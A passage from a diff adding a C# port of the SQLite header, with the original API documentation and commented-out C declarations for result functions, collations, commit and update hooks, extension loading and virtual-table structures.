information. + ** + ** These functions work very much like the [parameter binding] family of + ** functions used to bind values to host parameters in prepared statements. + ** Refer to the [SQL parameter] documentation for additional information. + ** + ** The sqlite3_result_blob() interface sets the result from + ** an application-defined function to be the BLOB whose content is pointed + ** to by the second parameter and which is N bytes long where N is the + ** third parameter. + ** + ** The sqlite3_result_zeroblob() interfaces set the result of + ** the application-defined function to be a BLOB containing all zero + ** bytes and N bytes in size, where N is the value of the 2nd parameter. + ** + ** The sqlite3_result_double() interface sets the result from + ** an application-defined function to be a floating point value specified + ** by its 2nd argument. + ** + ** The sqlite3_result_error() and sqlite3_result_error16() functions + ** cause the implemented SQL function to throw an exception. + ** SQLite uses the string pointed to by the + ** 2nd parameter of sqlite3_result_error() or sqlite3_result_error16() + ** as the text of an error message. SQLite interprets the error + ** message string from sqlite3_result_error() as UTF-8. SQLite + ** interprets the string from sqlite3_result_error16() as UTF-16 in native + ** byte order. If the third parameter to sqlite3_result_error() + ** or sqlite3_result_error16() is negative then SQLite takes as the error + ** message all text up through the first zero character. + ** If the third parameter to sqlite3_result_error() or + ** sqlite3_result_error16() is non-negative then SQLite takes that many + ** bytes (not characters) from the 2nd parameter as the error message. + ** The sqlite3_result_error() and sqlite3_result_error16() + ** routines make a private copy of the error message text before + ** they return. Hence, the calling function can deallocate or + ** modify the text after they return without harm. + ** The sqlite3_result_error_code() function changes the error code + ** returned by SQLite as a result of an error in a function. By default, + ** the error code is SQLITE_ERROR. A subsequent call to sqlite3_result_error() + ** or sqlite3_result_error16() resets the error code to SQLITE_ERROR. + ** + ** The sqlite3_result_toobig() interface causes SQLite to throw an error + ** indicating that a string or BLOB is to long to represent. + ** + ** The sqlite3_result_nomem() interface causes SQLite to throw an error + ** indicating that a memory allocation failed. + ** + ** The sqlite3_result_int() interface sets the return value + ** of the application-defined function to be the 32-bit signed integer + ** value given in the 2nd argument. + ** The sqlite3_result_int64() interface sets the return value + ** of the application-defined function to be the 64-bit signed integer + ** value given in the 2nd argument. + ** + ** The sqlite3_result_null() interface sets the return value + ** of the application-defined function to be NULL. + ** + ** The sqlite3_result_text(), sqlite3_result_text16(), + ** sqlite3_result_text16le(), and sqlite3_result_text16be() interfaces + ** set the return value of the application-defined function to be + ** a text string which is represented as UTF-8, UTF-16 native byte order, + ** UTF-16 little endian, or UTF-16 big endian, respectively. + ** SQLite takes the text result from the application from + ** the 2nd parameter of the sqlite3_result_text* interfaces. + ** If the 3rd parameter to the sqlite3_result_text* interfaces + ** is negative, then SQLite takes result text from the 2nd parameter + ** through the first zero character. + ** If the 3rd parameter to the sqlite3_result_text* interfaces + ** is non-negative, then as many bytes (not characters) of the text + ** pointed to by the 2nd parameter are taken as the application-defined + ** function result. + ** If the 4th parameter to the sqlite3_result_text* interfaces + ** or sqlite3_result_blob is a non-NULL pointer, then SQLite calls that + ** function as the destructor on the text or BLOB result when it has + ** finished using that result. + ** If the 4th parameter to the sqlite3_result_text* interfaces or + ** sqlite3_result_blob is the special constant SQLITE_STATIC, then SQLite + ** assumes that the text or BLOB result is in constant space and does not + ** copy the it or call a destructor when it has finished using that result. + ** If the 4th parameter to the sqlite3_result_text* interfaces + ** or sqlite3_result_blob is the special constant SQLITE_TRANSIENT + ** then SQLite makes a copy of the result into space obtained from + ** from [sqlite3_malloc()] before it returns. + ** + ** The sqlite3_result_value() interface sets the result of + ** the application-defined function to be a copy the + ** [unprotected sqlite3_value] object specified by the 2nd parameter. The + ** sqlite3_result_value() interface makes a copy of the [sqlite3_value] + ** so that the [sqlite3_value] specified in the parameter may change or + ** be deallocated after sqlite3_result_value() returns without harm. + ** A [protected sqlite3_value] object may always be used where an + ** [unprotected sqlite3_value] object is required, so either + ** kind of [sqlite3_value] object can be used with this interface. + ** + ** If these routines are called from within the different thread + ** than the one containing the application-defined function that received + ** the [sqlite3_context] pointer, the results are undefined. + ** + ** Requirements: + ** [H16403] [H16406] [H16409] [H16412] [H16415] [H16418] [H16421] [H16424] + ** [H16427] [H16430] [H16433] [H16436] [H16439] [H16442] [H16445] [H16448] + ** [H16451] [H16454] [H16457] [H16460] [H16463] + */ + //SQLITE_API void sqlite3_result_blob(sqlite3_context*, const void*, int, void(*)(void*)); + //SQLITE_API void sqlite3_result_double(sqlite3_context*, double); + //SQLITE_API void sqlite3_result_error(sqlite3_context*, const char*, int); + //SQLITE_API void sqlite3_result_error16(sqlite3_context*, const void*, int); + //SQLITE_API void sqlite3_result_error_toobig(sqlite3_context*); + //SQLITE_API void sqlite3_result_error_nomem(sqlite3_context*); + //SQLITE_API void sqlite3_result_error_code(sqlite3_context*, int); + //SQLITE_API void sqlite3_result_int(sqlite3_context*, int); + //SQLITE_API void sqlite3_result_int64(sqlite3_context*, sqlite3_int64); + //SQLITE_API void sqlite3_result_null(sqlite3_context*); + //SQLITE_API void sqlite3_result_text(sqlite3_context*, const char*, int, void(*)(void*)); + //SQLITE_API void sqlite3_result_text16(sqlite3_context*, const void*, int, void(*)(void*)); + //SQLITE_API void sqlite3_result_text16le(sqlite3_context*, const void*, int,void(*)(void*)); + //SQLITE_API void sqlite3_result_text16be(sqlite3_context*, const void*, int,void(*)(void*)); + //SQLITE_API void sqlite3_result_value(sqlite3_context*, sqlite3_value*); + //SQLITE_API void sqlite3_result_zeroblob(sqlite3_context*, int n); + + /* + ** CAPI3REF: Define New Collating Sequences {H16600} + ** + ** These functions are used to add new collation sequences to the + ** [database connection] specified as the first argument. + ** + ** The name of the new collation sequence is specified as a UTF-8 string + ** for sqlite3_create_collation() and sqlite3_create_collation_v2() + ** and a UTF-16 string for sqlite3_create_collation16(). In all cases + ** the name is passed as the second function argument. + ** + ** The third argument may be one of the constants [SQLITE_UTF8], + ** [SQLITE_UTF16LE], or [SQLITE_UTF16BE], indicating that the user-supplied + ** routine expects to be passed pointers to strings encoded using UTF-8, + ** UTF-16 little-endian, or UTF-16 big-endian, respectively. The + ** third argument might also be [SQLITE_UTF16] to indicate that the routine + ** expects pointers to be UTF-16 strings in the native byte order, or the + ** argument can be [SQLITE_UTF16_ALIGNED] if the + ** the routine expects pointers to 16-bit word aligned strings + ** of UTF-16 in the native byte order. + ** + ** A pointer to the user supplied routine must be passed as the fifth + ** argument. If it is NULL, this is the same as deleting the collation + ** sequence (so that SQLite cannot call it anymore). + ** Each time the application supplied function is invoked, it is passed + ** as its first parameter a copy of the void* passed as the fourth argument + ** to sqlite3_create_collation() or sqlite3_create_collation16(). + ** + ** The remaining arguments to the application-supplied routine are two strings, + ** each represented by a (length, data) pair and encoded in the encoding + ** that was passed as the third argument when the collation sequence was + ** registered. {END} The application defined collation routine should + ** return negative, zero or positive if the first string is less than, + ** equal to, or greater than the second string. i.e. (STRING1 - STRING2). + ** + ** The sqlite3_create_collation_v2() works like sqlite3_create_collation() + ** except that it takes an extra argument which is a destructor for + ** the collation. The destructor is called when the collation is + ** destroyed and is passed a copy of the fourth parameter void* pointer + ** of the sqlite3_create_collation_v2(). + ** Collations are destroyed when they are overridden by later calls to the + ** collation creation functions or when the [database connection] is closed + ** using [sqlite3_close()]. + ** + ** See also: [sqlite3_collation_needed()] and [sqlite3_collation_needed16()]. + ** + ** Requirements: + ** [H16603] [H16604] [H16606] [H16609] [H16612] [H16615] [H16618] [H16621] + ** [H16624] [H16627] [H16630] + */ + //SQLITE_API int sqlite3_create_collation( + //// sqlite3*, + // const char *zName, + // int eTextRep, + // void*, + // int(*xCompare)(void*,int,const void*,int,const void*) + //); + //SQLITE_API int sqlite3_create_collation_v2( + //// sqlite3*, + // const char *zName, + // int eTextRep, + // void*, + // int(*xCompare)(void*,int,const void*,int,const void*), + // void(*xDestroy)(void*) + //); + //SQLITE_API int sqlite3_create_collation16( + //// sqlite3*, + // const void *zName, + // int eTextRep, + // void*, + // int(*xCompare)(void*,int,const void*,int,const void*) + //); + + /* + ** CAPI3REF: Collation Needed Callbacks {H16700} + ** + ** To avoid having to register all collation sequences before a database + ** can be used, a single callback function may be registered with the + ** [database connection] to be called whenever an undefined collation + ** sequence is required. + ** + ** If the function is registered using the sqlite3_collation_needed() API, + ** then it is passed the names of undefined collation sequences as strings + ** encoded in UTF-8. {H16703} If sqlite3_collation_needed16() is used, + ** the names are passed as UTF-16 in machine native byte order. + ** A call to either function replaces any existing callback. + ** + ** When the callback is invoked, the first argument passed is a copy + ** of the second argument to sqlite3_collation_needed() or + ** sqlite3_collation_needed16(). The second argument is the database + ** connection. The third argument is one of [SQLITE_UTF8], [SQLITE_UTF16BE], + ** or [SQLITE_UTF16LE], indicating the most desirable form of the collation + ** sequence function required. The fourth parameter is the name of the + ** required collation sequence. + ** + ** The callback function should register the desired collation using + ** [sqlite3_create_collation()], [sqlite3_create_collation16()], or + ** [sqlite3_create_collation_v2()]. + ** + ** Requirements: + ** [H16702] [H16704] [H16706] + */ + //SQLITE_API int sqlite3_collation_needed( + // sqlite3*, + // void*, + // void(*)(void*,sqlite3*,int eTextRep,const char*) + //); + //SQLITE_API int sqlite3_collation_needed16( + // sqlite3*, + // void*, + // void(*)(void*,sqlite3*,int eTextRep,const void*) + //); + + /* + ** Specify the key for an encrypted database. This routine should be + ** called right after sqlite3_open(). + ** + ** The code to implement this API is not available in the public release + ** of SQLite. + */ + //SQLITE_API int sqlite3_key( + // sqlite3 *db, /* Database to be rekeyed */ + // const void *pKey, int nKey /* The key */ + //); + + /* + ** Change the key on an open database. If the current database is not + ** encrypted, this routine will encrypt it. If pNew==0 or nNew==0, the + ** database is decrypted. + ** + ** The code to implement this API is not available in the public release + ** of SQLite. + */ + //SQLITE_API int sqlite3_rekey( + // sqlite3 *db, /* Database to be rekeyed */ + // const void *pKey, int nKey /* The new key */ + //); + + /* + ** CAPI3REF: Suspend Execution For A Short Time {H10530} + ** + ** The sqlite3_sleep() function causes the current thread to suspend execution + ** for at least a number of milliseconds specified in its parameter. + ** + ** If the operating system does not support sleep requests with + ** millisecond time resolution, then the time will be rounded up to + ** the nearest second. The number of milliseconds of sleep actually + ** requested from the operating system is returned. + ** + ** SQLite implements this interface by calling the xSleep() + ** method of the default [sqlite3_vfs] object. + ** + ** Requirements: [H10533] [H10536] + */ + //SQLITE_API int sqlite3_sleep(int); + + /* + ** CAPI3REF: Name Of The Folder Holding Temporary Files {H10310} + ** + ** If this global variable is made to point to a string which is + ** the name of a folder (a.k.a. directory), then all temporary files + ** created by SQLite will be placed in that directory. If this variable + ** is a NULL pointer, then SQLite performs a search for an appropriate + ** temporary file directory. + ** + ** It is not safe to read or modify this variable in more than one + ** thread at a time. It is not safe to read or modify this variable + ** if a [database connection] is being used at the same time in a separate + ** thread. + ** It is intended that this variable be set once + ** as part of process initialization and before any SQLite interface + ** routines have been called and that this variable remain unchanged + ** thereafter. + ** + ** The [temp_store_directory pragma] may modify this variable and cause + ** it to point to memory obtained from [sqlite3_malloc]. Furthermore, + ** the [temp_store_directory pragma] always assumes that any string + ** that this variable points to is held in memory obtained from + ** [sqlite3_malloc] and the pragma may attempt to free that memory + ** using [sqlite3_free]. + ** Hence, if this variable is modified directly, either it should be + ** made NULL or made to point to memory obtained from [sqlite3_malloc] + ** or else the use of the [temp_store_directory pragma] should be avoided. + */ + //SQLITE_API SQLITE_EXTERN char *sqlite3_temp_directory; + + /* + ** CAPI3REF: Test For Auto-Commit Mode {H12930} + ** KEYWORDS: {autocommit mode} + ** + ** The sqlite3_get_autocommit() interface returns non-zero or + ** zero if the given database connection is or is not in autocommit mode, + ** respectively. Autocommit mode is on by default. + ** Autocommit mode is disabled by a [BEGIN] statement. + ** Autocommit mode is re-enabled by a [COMMIT] or [ROLLBACK]. + ** + ** If certain kinds of errors occur on a statement within a multi-statement + ** transaction (errors including [SQLITE_FULL], [SQLITE_IOERR], + ** [SQLITE_NOMEM], [SQLITE_BUSY], and [SQLITE_INTERRUPT]) then the + ** transaction might be rolled back automatically. The only way to + ** find out whether SQLite automatically rolled back the transaction after + ** an error is to use this function. + ** + ** If another thread changes the autocommit status of the database + ** connection while this routine is running, then the return value + ** is undefined. + ** + ** Requirements: [H12931] [H12932] [H12933] [H12934] + */ + //SQLITE_API int sqlite3_get_autocommit(sqlite3*); + + /* + ** CAPI3REF: Find The Database Handle Of A Prepared Statement {H13120} + ** + ** The sqlite3_db_handle interface returns the [database connection] handle + ** to which a [prepared statement] belongs. The [database connection] + ** returned by sqlite3_db_handle is the same [database connection] that was the first argument + ** to the [sqlite3_prepare_v2()] call (or its variants) that was used to + ** create the statement in the first place. + ** + ** Requirements: [H13123] + */ + //SQLITE_API sqlite3 *sqlite3_db_handle(sqlite3_stmt*); + + /* + ** CAPI3REF: Find the next prepared statement {H13140} + ** + ** This interface returns a pointer to the next [prepared statement] after + ** pStmt associated with the [database connection] pDb. If pStmt is NULL + ** then this interface returns a pointer to the first prepared statement + ** associated with the database connection pDb. If no prepared statement + ** satisfies the conditions of this routine, it returns NULL. + ** + ** The [database connection] pointer D in a call to + ** [sqlite3_next_stmt(D,S)] must refer to an open database + ** connection and in particular must not be a NULL pointer. + ** + ** Requirements: [H13143] [H13146] [H13149] [H13152] + */ + //SQLITE_API sqlite3_stmt *sqlite3_next_stmt(sqlite3 *pDb, sqlite3_stmt *pStmt); + + /* + ** CAPI3REF: Commit And Rollback Notification Callbacks {H12950} + ** + ** The sqlite3_commit_hook() interface registers a callback + ** function to be invoked whenever a transaction is [COMMIT | committed]. + ** Any callback set by a previous call to sqlite3_commit_hook() + ** for the same database connection is overridden. + ** The sqlite3_rollback_hook() interface registers a callback + ** function to be invoked whenever a transaction is [ROLLBACK | rolled back]. + ** Any callback set by a previous call to sqlite3_commit_hook() + ** for the same database connection is overridden. + ** The pArg argument is passed through to the callback. + ** If the callback on a commit hook function returns non-zero, + ** then the commit is converted into a rollback. + ** + ** If another function was previously registered, its + ** pArg value is returned. Otherwise NULL is returned. + ** + ** The callback implementation must not do anything that will modify + ** the database connection that invoked the callback. Any actions + ** to modify the database connection must be deferred until after the + ** completion of the [sqlite3_step()] call that triggered the commit + ** or rollback hook in the first place. + ** Note that [sqlite3_prepare_v2()] and [sqlite3_step()] both modify their + ** database connections for the meaning of "modify" in this paragraph. + ** + ** Registering a NULL function disables the callback. + ** + ** When the commit hook callback routine returns zero, the [COMMIT] + ** operation is allowed to continue normally. If the commit hook + ** returns non-zero, then the [COMMIT] is converted into a [ROLLBACK]. + ** The rollback hook is invoked on a rollback that results from a commit + ** hook returning non-zero, just as it would be with any other rollback. + ** + ** For the purposes of this API, a transaction is said to have been + ** rolled back if an explicit "ROLLBACK" statement is executed, or + ** an error or constraint causes an implicit rollback to occur. + ** The rollback callback is not invoked if a transaction is + ** automatically rolled back because the database connection is closed. + ** The rollback callback is not invoked if a transaction is + ** rolled back because a commit callback returned non-zero. + ** Check on this + ** + ** See also the [sqlite3_update_hook()] interface. + ** + ** Requirements: + ** [H12951] [H12952] [H12953] [H12954] [H12955] + ** [H12961] [H12962] [H12963] [H12964] + */ + //SQLITE_API void *sqlite3_commit_hook(sqlite3*, int(*)(void*), void*); + //SQLITE_API void *sqlite3_rollback_hook(sqlite3*, void(*)(void *), void*); + + /* + ** CAPI3REF: Data Change Notification Callbacks {H12970} + ** + ** The sqlite3_update_hook() interface registers a callback function + ** with the [database connection] identified by the first argument + ** to be invoked whenever a row is updated, inserted or deleted. + ** Any callback set by a previous call to this function + ** for the same database connection is overridden. + ** + ** The second argument is a pointer to the function to invoke when a + ** row is updated, inserted or deleted. + ** The first argument to the callback is a copy of the third argument + ** to sqlite3_update_hook(). + ** The second callback argument is one of [SQLITE_INSERT], [SQLITE_DELETE], + ** or [SQLITE_UPDATE], depending on the operation that caused the callback + ** to be invoked. + ** The third and fourth arguments to the callback contain pointers to the + ** database and table name containing the affected row. + ** The final callback parameter is the [rowid] of the row. + ** In the case of an update, this is the [rowid] after the update takes place. + ** + ** The update hook is not invoked when internal system tables are + ** modified (i.e. sqlite_master and sqlite_sequence). + ** + ** In the current implementation, the update hook + ** is not invoked when duplication rows are deleted because of an + ** [ON CONFLICT | ON CONFLICT REPLACE] clause. Nor is the update hook + ** invoked when rows are deleted using the [truncate optimization]. + ** The exceptions defined in this paragraph might change in a future + ** release of SQLite. + ** + ** The update hook implementation must not do anything that will modify + ** the database connection that invoked the update hook. Any actions + ** to modify the database connection must be deferred until after the + ** completion of the [sqlite3_step()] call that triggered the update hook. + ** Note that [sqlite3_prepare_v2()] and [sqlite3_step()] both modify their + ** database connections for the meaning of "modify" in this paragraph. + ** + ** If another function was previously registered, its pArg value + ** is returned. Otherwise NULL is returned. + ** + ** See also the [sqlite3_commit_hook()] and [sqlite3_rollback_hook()] + ** interfaces. + ** + ** Requirements: + ** [H12971] [H12973] [H12975] [H12977] [H12979] [H12981] [H12983] [H12986] + */ + //SQLITE_API void *sqlite3_update_hook( + // sqlite3*, + // void(*)(void *,int ,char const *,char const *,sqlite3_int64), + // void* + //); + + /* + ** CAPI3REF: Enable Or Disable Shared Pager Cache {H10330} + ** KEYWORDS: {shared cache} + ** + ** This routine enables or disables the sharing of the database cache + ** and schema data structures between [database connection | connections] + ** to the same database. Sharing is enabled if the argument is true + ** and disabled if the argument is false. + ** + ** Cache sharing is enabled and disabled for an entire process. + ** This is a change as of SQLite version 3.5.0. In prior versions of SQLite, + ** sharing was enabled or disabled for each thread separately. + ** + ** The cache sharing mode set by this interface effects all subsequent + ** calls to [sqlite3_open()], [sqlite3_open_v2()], and [sqlite3_open16()]. + ** Existing database connections continue use the sharing mode + ** that was in effect at the time they were opened. + ** + ** Virtual tables cannot be used with a shared cache. When shared + ** cache is enabled, the [sqlite3_create_module()] API used to register + ** virtual tables will always return an error. + ** + ** This routine returns [SQLITE_OK] if shared cache was enabled or disabled + ** successfully. An [error code] is returned otherwise. + ** + ** Shared cache is disabled by default. But this might change in + ** future releases of SQLite. Applications that care about shared + ** cache setting should set it explicitly. + ** + ** See Also: [SQLite Shared-Cache Mode] + ** + ** Requirements: [H10331] [H10336] [H10337] [H10339] + */ + //SQLITE_API int sqlite3_enable_shared_cache(int); + + /* + ** CAPI3REF: Attempt To Free Heap Memory {H17340} + ** + ** The sqlite3_release_memory() interface attempts to free N bytes + ** of heap memory by deallocating non-essential memory allocations + ** held by the database library. {END} Memory used to cache database + ** pages to improve performance is an example of non-essential memory. + ** sqlite3_release_memory() returns the number of bytes actually freed, + ** which might be more or less than the amount requested. + ** + ** Requirements: [H17341] [H17342] + */ + //SQLITE_API int sqlite3_release_memory(int); + + /* + ** CAPI3REF: Impose A Limit On Heap Size {H17350} + ** + ** The sqlite3_soft_heap_limit() interface places a "soft" limit + ** on the amount of heap memory that may be allocated by SQLite. + ** If an internal allocation is requested that would exceed the + ** soft heap limit, [sqlite3_release_memory()] is invoked one or + ** more times to free up some space before the allocation is performed. + ** + ** The limit is called "soft", because if [sqlite3_release_memory()] + ** cannot free sufficient memory to prevent the limit from being exceeded, + ** the memory is allocated anyway and the current operation proceeds. + ** + ** A negative or zero value for N means that there is no soft heap limit and + ** [sqlite3_release_memory()] will only be called when memory is exhausted. + ** The default value for the soft heap limit is zero. + ** + ** SQLite makes a best effort to honor the soft heap limit. + ** But if the soft heap limit cannot be honored, execution will + ** continue without error or notification. This is why the limit is + ** called a "soft" limit. It is advisory only. + ** + ** Prior to SQLite version 3.5.0, this routine only constrained the memory + ** allocated by a single thread - the same thread in which this routine + ** runs. Beginning with SQLite version 3.5.0, the soft heap limit is + ** applied to all threads. The value specified for the soft heap limit + ** is an upper bound on the total memory allocation for all threads. In + ** version 3.5.0 there is no mechanism for limiting the heap usage for + ** individual threads. + ** + ** Requirements: + ** [H16351] [H16352] [H16353] [H16354] [H16355] [H16358] + */ + //SQLITE_API void sqlite3_soft_heap_limit(int); + + /* + ** CAPI3REF: Extract Metadata About A Column Of A Table {H12850} + ** + ** This routine returns metadata about a specific column of a specific + ** database table accessible using the [database connection] handle + ** passed as the first function argument. + ** + ** The column is identified by the second, third and fourth parameters to + ** this function. The second parameter is either the name of the database + ** (i.e. "main", "temp" or an attached database) containing the specified + ** table or NULL. If it is NULL, then all attached databases are searched + ** for the table using the same algorithm used by the database engine to + ** resolve unqualified table references. + ** + ** The third and fourth parameters to this function are the table and column + ** name of the desired column, respectively. Neither of these parameters + ** may be NULL. + ** + ** Metadata is returned by writing to the memory locations passed as the 5th + ** and subsequent parameters to this function. Any of these arguments may be + ** NULL, in which case the corresponding element of metadata is omitted. + ** + **
    + ** + **
    Parameter Output
    Type
    Description + ** + **
    5th const char* Data type + **
    6th const char* Name of default collation sequence + **
    7th int True if column has a NOT NULL constraint + **
    8th int True if column is part of the PRIMARY KEY + **
    9th int True if column is [AUTOINCREMENT] + **
    + **
    + ** + ** The memory pointed to by the character pointers returned for the + ** declaration type and collation sequence is valid only until the next + ** call to any SQLite API function. + ** + ** If the specified table is actually a view, an [error code] is returned. + ** + ** If the specified column is "rowid", "oid" or "_rowid_" and an + ** [INTEGER PRIMARY KEY] column has been explicitly declared, then the output + ** parameters are set for the explicitly declared column. If there is no + ** explicitly declared [INTEGER PRIMARY KEY] column, then the output + ** parameters are set as follows: + ** + **
    +    **     data type: "INTEGER"
    +    **     collation sequence: "BINARY"
    +    **     not null: 0
    +    **     primary key: 1
    +    **     auto increment: 0
    +    ** 
    + ** + ** This function may load one or more schemas from database files. If an + ** error occurs during this process, or if the requested table or column + ** cannot be found, an [error code] is returned and an error message left + ** in the [database connection] (to be retrieved using sqlite3_errmsg()). + ** + ** This API is only available if the library was compiled with the + ** [SQLITE_ENABLE_COLUMN_METADATA] C-preprocessor symbol defined. + */ + //SQLITE_API int sqlite3_table_column_metadata( + // sqlite3 *db, /* Connection handle */ + // const char *zDbName, /* Database name or NULL */ + // const char *zTableName, /* Table name */ + // const char *zColumnName, /* Column name */ + // char const **pzDataType, /* OUTPUT: Declared data type */ + // char const **pzCollSeq, /* OUTPUT: Collation sequence name */ + // int *pNotNull, /* OUTPUT: True if NOT NULL constraint exists */ + // int *pPrimaryKey, /* OUTPUT: True if column part of PK */ + // int *pAutoinc /* OUTPUT: True if column is auto-increment */ + //); + + /* + ** CAPI3REF: Load An Extension {H12600} + ** + ** This interface loads an SQLite extension library from the named file. + ** + ** {H12601} The sqlite3_load_extension() interface attempts to load an + ** SQLite extension library contained in the file zFile. + ** + ** {H12602} The entry point is zProc. + ** + ** {H12603} zProc may be 0, in which case the name of the entry point + ** defaults to "sqlite3_extension_init". + ** + ** {H12604} The sqlite3_load_extension() interface shall return + ** [SQLITE_OK] on success and [SQLITE_ERROR] if something goes wrong. + ** + ** {H12605} If an error occurs and pzErrMsg is not 0, then the + ** [sqlite3_load_extension()] interface shall attempt to + ** fill *pzErrMsg with error message text stored in memory + ** obtained from [sqlite3_malloc()]. {END} The calling function + ** should free this memory by calling [sqlite3_free()]. + ** + ** {H12606} Extension loading must be enabled using + ** [sqlite3_enable_load_extension()] prior to calling this API, + ** otherwise an error will be returned. + */ + //SQLITE_API int sqlite3_load_extension( + // sqlite3 *db, /* Load the extension into this database connection */ + // const char *zFile, /* Name of the shared library containing extension */ + // const char *zProc, /* Entry point. Derived from zFile if 0 */ + // char **pzErrMsg /* Put error message here if not 0 */ + //); + + /* + ** CAPI3REF: Enable Or Disable Extension Loading {H12620} + ** + ** So as not to open security holes in older applications that are + ** unprepared to deal with extension loading, and as a means of disabling + ** extension loading while evaluating user-entered SQL, the following API + ** is provided to turn the [sqlite3_load_extension()] mechanism on and off. + ** + ** Extension loading is off by default. See ticket #1863. + ** + ** {H12621} Call the sqlite3_enable_load_extension() routine with onoff==1 + ** to turn extension loading on and call it with onoff==0 to turn + ** it back off again. + ** + ** {H12622} Extension loading is off by default. + */ + //SQLITE_API int sqlite3_enable_load_extension(sqlite3 *db, int onoff); + + /* + ** CAPI3REF: Automatically Load An Extensions {H12640} + ** + ** This API can be invoked at program startup in order to register + ** one or more statically linked extensions that will be available + ** to all new [database connections]. {END} + ** + ** This routine stores a pointer to the extension in an array that is + ** obtained from [sqlite3_malloc()]. If you run a memory leak checker + ** on your program and it reports a leak because of this array, invoke + ** [sqlite3_reset_auto_extension()] prior to shutdown to free the memory. + ** + ** {H12641} This function registers an extension entry point that is + ** automatically invoked whenever a new [database connection] + ** is opened using [sqlite3_open()], [sqlite3_open16()], + ** or [sqlite3_open_v2()]. + ** + ** {H12642} Duplicate extensions are detected so calling this routine + ** multiple times with the same extension is harmless. + ** + ** {H12643} This routine stores a pointer to the extension in an array + ** that is obtained from [sqlite3_malloc()]. + ** + ** {H12644} Automatic extensions apply across all threads. + */ + //SQLITE_API int sqlite3_auto_extension(void (*xEntryPoint)(void)); + + /* + ** CAPI3REF: Reset Automatic Extension Loading {H12660} + ** + ** This function disables all previously registered automatic + ** extensions. {END} It undoes the effect of all prior + ** [sqlite3_auto_extension()] calls. + ** + ** {H12661} This function disables all previously registered + ** automatic extensions. + ** + ** {H12662} This function disables automatic extensions in all threads. + */ + //SQLITE_API void sqlite3_reset_auto_extension(void); + + /* + ****** EXPERIMENTAL - subject to change without notice ************** + ** + ** The interface to the virtual-table mechanism is currently considered + ** to be experimental. The interface might change in incompatible ways. + ** If this is a problem for you, do not use the interface at this time. + ** + ** When the virtual-table mechanism stabilizes, we will declare the + ** interface fixed, support it indefinitely, and remove this comment. + */ + + /* + ** Structures used by the virtual table interface + */ + //typedef struct sqlite3_vtab sqlite3_vtab; + //typedef struct sqlite3_index_info sqlite3_index_info; + //typedef struct sqlite3_vtab_cursor sqlite3_vtab_cursor; + //typedef struct sqlite3_module sqlite3_module; + + /* + ** CAPI3REF: Virtual Table Object {H18000} + ** KEYWORDS: sqlite3_module {virtual table module} + ** EXPERIMENTAL + ** + ** This structure, sometimes called a a "virtual table module", + ** defines the implementation of a [virtual tables]. + ** This structure consists mostly of methods for the module. + ** + ** A virtual table module is created by filling in a persistent + ** instance of this structure and passing a pointer to that instance + ** to [sqlite3_create_module()] or [sqlite3_create_module_v2()]. + ** The registration remains valid until it is replaced by a different + ** module or until the [database connection] closes. The content + ** of this structure must not change while it is registered with + ** any database connection. + */ + //struct sqlite3_module { + // int iVersion; + // int (*xCreate)(sqlite3*, void *pAux, + // int argc, const char *const*argv, + // sqlite3_vtab **ppVTab, char**); + // int (*xConnect)(sqlite3*, void *pAux, + // int argc, const char *const*argv, + // sqlite3_vtab **ppVTab, char**); + // int (*xBestIndex)(sqlite3_vtab *pVTab, sqlite3_index_info*); + // int (*xDisconnect)(sqlite3_vtab *pVTab); + // int (*xDestroy)(sqlite3_vtab *pVTab); + // int (*xOpen)(sqlite3_vtab *pVTab, sqlite3_vtab_cursor **ppCursor); + // int (*xClose)(sqlite3_vtab_cursor*); + // int (*xFilter)(sqlite3_vtab_cursor*, int idxNum, const char *idxStr, + // int argc, sqlite3_value **argv); + // int (*xNext)(sqlite3_vtab_cursor*); + // int (*xEof)(sqlite3_vtab_cursor*); + // int (*xColumn)(sqlite3_vtab_cursor*, sqlite3_context*, int); + // int (*xRowid)(sqlite3_vtab_cursor*, sqlite3_int64 *pRowid); + // int (*xUpdate)(sqlite3_vtab *, int, sqlite3_value **, sqlite3_int64 *); + // int (*xBegin)(sqlite3_vtab *pVTab); + // int (*xSync)(sqlite3_vtab *pVTab); + // int (*xCommit)(sqlite3_vtab *pVTab); + // int (*xRollback)(sqlite3_vtab *pVTab); + // int (*xFindFunction)(sqlite3_vtab *pVtab, int nArg, const char *zName, + // void (**pxFunc)(sqlite3_context*,int,sqlite3_value**), + // void **ppArg); + // int (*xRename)(sqlite3_vtab *pVtab, const char *zNew); + //}; + // MINIMAL STRUCTURE + public class sqlite3_module + { + public int iVersion; + public smdxCreate xCreate; + public smdxConnect xConnect; + public smdxBestIndex xBestIndex; + public smdxDisconnect xDisconnect; + public smdxDestroy xDestroy; + public smdxOpen xOpen; + public smdxClose xClose; + public smdxFilter xFilter; + public smdxNext xNext; + public smdxEof xEof; + public smdxColumn xColumn; + public smdxRowid xRowid; + public smdxUpdate xUpdate; + public smdxBegin xBegin; + public smdxSync xSync; + public smdxCommit xCommit; + public smdxRollback xRollback; + public smdxFindFunction xFindFunction; + public smdxRename xRename; + } + + /* + ** CAPI3REF: Virtual Table Indexing Information {H18100} + ** KEYWORDS: sqlite3_index_info + ** EXPERIMENTAL + ** + ** The sqlite3_index_info structure and its substructures is used to + ** pass information into and receive the reply from the [xBestIndex] + ** method of a [virtual table module]. The fields under **Inputs** are the + ** inputs to xBestIndex and are read-only. xBestIndex inserts its + ** results into the **Outputs** fields. + ** + ** The aConstraint[] array records WHERE clause constraints of the form: + ** + **
    column OP expr
    + ** + ** where OP is =, <, <=, >, or >=. The particular operator is + ** stored in aConstraint[].op. The index of the column is stored in + ** aConstraint[].iColumn. aConstraint[].usable is TRUE if the + ** expr on the right-hand side can be evaluated (and thus the constraint + ** is usable) and false if it cannot. + ** + ** The optimizer automatically inverts terms of the form "expr OP column" + ** and makes other simplifications to the WHERE clause in an attempt to + ** get as many WHERE clause terms into the form shown above as possible. + ** The aConstraint[] array only reports WHERE clause terms in the correct + ** form that refer to the particular virtual table being queried. + ** + ** Information about the ORDER BY clause is stored in aOrderBy[]. + ** Each term of aOrderBy records a column of the ORDER BY clause. + ** + ** The [xBestIndex] method must fill aConstraintUsage[] with information + ** about what parameters to pass to xFilter. If argvIndex>0 then + ** the right-hand side of the corresponding aConstraint[] is evaluated + ** and becomes the argvIndex-th entry in argv. If aConstraintUsage[].omit + ** is true, then the constraint is assumed to be fully handled by the + ** virtual table and is not checked again by SQLite. + ** + ** The idxNum and idxPtr values are recorded and passed into the + ** [xFilter] method. + ** [sqlite3_free()] is used to free idxPtr if and only iff + ** needToFreeIdxPtr is true. + ** + ** The orderByConsumed means that output from [xFilter]/[xNext] will occur in + ** the correct order to satisfy the ORDER BY clause so that no 